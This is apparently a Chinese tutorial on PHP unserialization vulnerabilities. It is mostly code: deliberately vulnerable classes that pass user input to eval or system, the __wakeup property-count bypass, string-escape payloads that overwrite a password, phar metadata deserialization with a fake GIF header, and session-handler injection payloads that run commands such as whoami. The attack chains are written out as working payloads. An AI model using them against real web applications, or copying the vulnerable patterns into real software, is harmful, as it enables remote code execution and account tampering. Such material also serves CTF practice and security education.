【干货】一篇学会php序列化与反序列化漏洞总结

布尔值（bool）：b:value => b:0
整数型 (int)：i:value=>i:1
字符串型 (str)：s:length:"value";=>s:4:"aaaa".
数组型（array）：a:<length>:{key,value pairs};=>a:1:{i:1;s:1:"a"}
对象型（object）：O:<class_name_length>
浮点型（double）:d:value=>d:15.2
引用类型：R : R：value=> R:2
null型：N

<?php
class admin{
    public $test = "admin";
    public $xxxx = 123;
    }
$a = new admin();
$b = serialize($a);
echo $b;
?>

<?php
class test{
    function __destruct()
    {
        eval($_GET['admin']);
        echo $_GET['admin'];
    }
}


/*$admin = new test();
$xxx = serialize($admin);
echo $xxx;*/


unserialize($_GET['kk']);
?>

<?php
class test{
    private $a;
    protected $b;
    public $c;
    function __construct(){
        $this->a = $this->b = $this->c = $this->e =1;
    }
}


$t = new test();//实例化test类时执行__construct方法给变量赋值
$p = serialize($t);
print($p)
?>

public(公共的):在本类内部、外部类、子类都可以访问


protect(受保护的):只有本类或子类或父类中可以访问


private(私人的):只有本类内部可以使用

__construct()：当对象被创建时
__destruct()：当对象被销毁前
__tostring()：当对象被当作一个字符串使用时
__sleep()：序列化对象前调用（其返回需要是一个数组指定序列化哪些属性）
__wakeup()：反序列化恢复对象前调用
__call()：当调用对象中不存在的方法时调用
__get()：从不可访问的属性读取数据
__callStatic()：调用类不存在的静态方式方法时执行
__set()：用于将数据写入不可访问属性
__invoke()：调用函数的方式调用一个对象时的回应方法
__isset()：在不可访的属性上调用isset()或empty()触发
__unset()：在不可访的属性上使用unset()时触发

<?php
Class Test{
    var $enter;
    var $secret;
}
$o = unserialize($_GET['test']);
$o->secret = "hello";




echo $o->secret."<br>";
echo $o->enter."<br>";




if($o->secret === $o->enter){
    echo "flag";
}
?>

<?php
Class Test{
    var $enter;
    var $secret;
    function Test(){
        $this->enter = &$this->secret;
    }
}
echo serialize(new Test());
?>

<?php
$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);
//Test
$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');
$c = unserialize($t);
echo $c;

<?php
$a = new Exception("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);
//Test
$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D');
echo unserialize($c);

O:5:"admin":2:{s:4:"test";s:5:"admin";s:4:"xxxx";i:123;}  正常
O:5:"admin":6:{s:4:"test";s:5:"admin";s:4:"xxxx";i:123;}  绕过__wakeup
O:5:"admin":+2:{s:4:"test";s:5:"admin";s:4:"xxxx";i:123;} 绕过__wakeup

<?php
$line = $_GET['line'];
Class B{
    function __destruct(){
        echo "<script>alert('this is flag')</script>";
    }
}
$a = @unserialize($line);
throw new Exception('well that was unexpected..');
?>

http://127.0.0.1/1.php?line=O:1:"B":1:{1}

<?php
class admin{
    public $test = "admin";
    public $xxxx = 123;
    }
$a = new admin();
$b = serialize($a);
//echo $b;
$s = 'O:5:"admin":2:{s:4:"test";s:5:"admin";s:4:"xxxx";i:123;}xxxxxx';
var_dump(unserialize($s));
?>

O:5:"admin":2:{s:4:"test";s:5:"admin";s:4:"xxxx";s:4:"test";} 正常的序列化字符串
假设其中某个变量可控加上了;}结尾
O:5:"admin":2:{s:4:"test";s:5:"admin";s:4:"xxxx";s:4:"abcd";}";s:4:"xxxx";s:4:"test";}//插入恶意字符串修改密码为abcd了：admin";s:4:"xxxx";s:4:"abcd";} 

<?php
highlight_file(__FILE__);
function waf($str){
    return preg_replace('/pass/i', 'admin', $str);
}
class admin{
    public $username = 'admin';
    public $pass = 123456;
    }
$a = new admin();
echo "<br>";
echo serialize($a)."<br>";
$b = waf(serialize($a));
echo $b;
var_dump(unserialize($b));
?>

var_dump(unserialize('O:5:"admin":2:{s:8:"username";s:5:"admin";S:4:"\70\61\73\73";i:123456;}'));

";S:4:"\70\61\73\73";i:1234;}

passpasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspass";S:4:"\70\61\73\73";i:1234;}}

stub：phar文件标识，以格式为xxxxx<?php xxx;__HALT_COMPILER();?>，前面内容不限，但必须以来结尾否则php无法识别这是一个phar
manifest：压缩文件的属性等信息，以序列化的形式存储自定义的meta-data
contents：压缩文件的内容
signature：签名，在文件末尾
注意：如果要生成phar文件要将php.ini中的phar.readonly选项设置为Off，否则无法生成phar文件。

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); 后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 设置stub


    $o = new TestObject();
    $o -> data='<script>alert(/xss/)</script>';




    $phar->setMetadata($o); 将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); 添加要压缩的文件
    签名自动计算
    $phar->stopBuffering();
?>

<?php
class TestObject{
    function __destruct()
{
        echo $this -> data; 
    }
}
$file = $_GET['file'];
include($file);
?>

http://127.0.0.1/test.php?file=phar://phar.phar/test.txt
http://127.0.0.1/test.php?file=phar://phar.phar
如果生成的后缀是图片或其他格式也可以通过phar://协议解析文件内的序列化字

fileatime(), filectime(), file_exists(), file_get_contents(), file_put_contents(), file(), filegroup(), fopen(), fileinode(), filemtime(), fileowner(), fileperms(), filesize()
is_dir(), is_executable, is_file, is_link, is_readable, is_writable
parse_in_file(), copy(), unlink(), stat(), readfile(), include(), md5_file()

exif：exif_thumbnail(),  exif_imagetype()
gd：imageloadfont(),  imagecreatefromgif()
hash：hash_hmac_file(),  hash_file(),  hash_update_file(),  md5_file(),  sha1_file()
file  url：get_meta_tags(),  get_headers(),  mime_content_type()
standard：getimagesize(),  getimagesizefromstring()
finfo：finfo_file(),  finfo_buffer()

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

[mysqld]
local-infile=1
secure_file_priv=""

compress.bzip2://phar://
compress.zlib://phar:///
php://filter/resource=phar://

$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); 设置stub,添加GIF文件头伪装成GIF图片

键名+竖线+经过serialize()函数反序列化处理的值
当 session.serialize_handler=php 时，session文件内容为：session|O:5:"admin":1:{s:4:"mdzz";N;}

键名的长度对应的ASCII字符+键名+经过serialize()函数反序列化处理的值
当 session.serialize_handler=php_binary 时，session文件内容为：ASCII字符sessionO:5:"admin":1:{s:4:"mdzz";N;}

经过serialize()函数序列化数组
当 session.serialize_handler=php_serialize 时，session文件为：a:1:{s:7:"session";O:5:"admin":1:{s:4:"mdzz";N;}}

a:1:{s:7:"session";s:51:"O:4:"Test":1:{s:4:"mdzz";s:17:"system("whoami");";}
a:1:{s:7:"session";s:51:"|O:4:"Test":1:{s:4:"mdzz";s:17:"system("whoami");";}

<?php
ini_set('session.serialize_handler', 'php');
//ini_set('session.serialize_handler', 'php_binary');
//ini_set('session.serialize_handler', 'php_serialize');
session_start(); //启动新会话或者重用现有会话
class admin{
    public $mdzz;
    }
$_SESSION['session'] = new admin();
?>

<?php
//A webshell is wait for youini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct(){
        $this->mdzz = 'phpinfo();';
    }








    function __destruct(){
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo'])){
    $m = new OowoO();
}
else{
    highlight_string(file_get_contents(__FILE__));
}
?>

<?php
class OowoO
{
    public $mdzz;
    function __construct(){
        $this->mdzz = 'phpinfo();';
    }




    function __destruct(){
        eval($this->mdzz);
    }
}
$a=new OowoO();
$a->mdzz="var_dump(scandir('./'));";
echo serialize($a);
?>

O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}

//上传表单
<form action="http://127.0.0.1/1.php" method="POST" enctype="multipart/form-data">        
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />        
    <input type="file" name="file" />        
    <input type="submit" />
</form>

a:1:{s:84:"upload_progress_123|O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}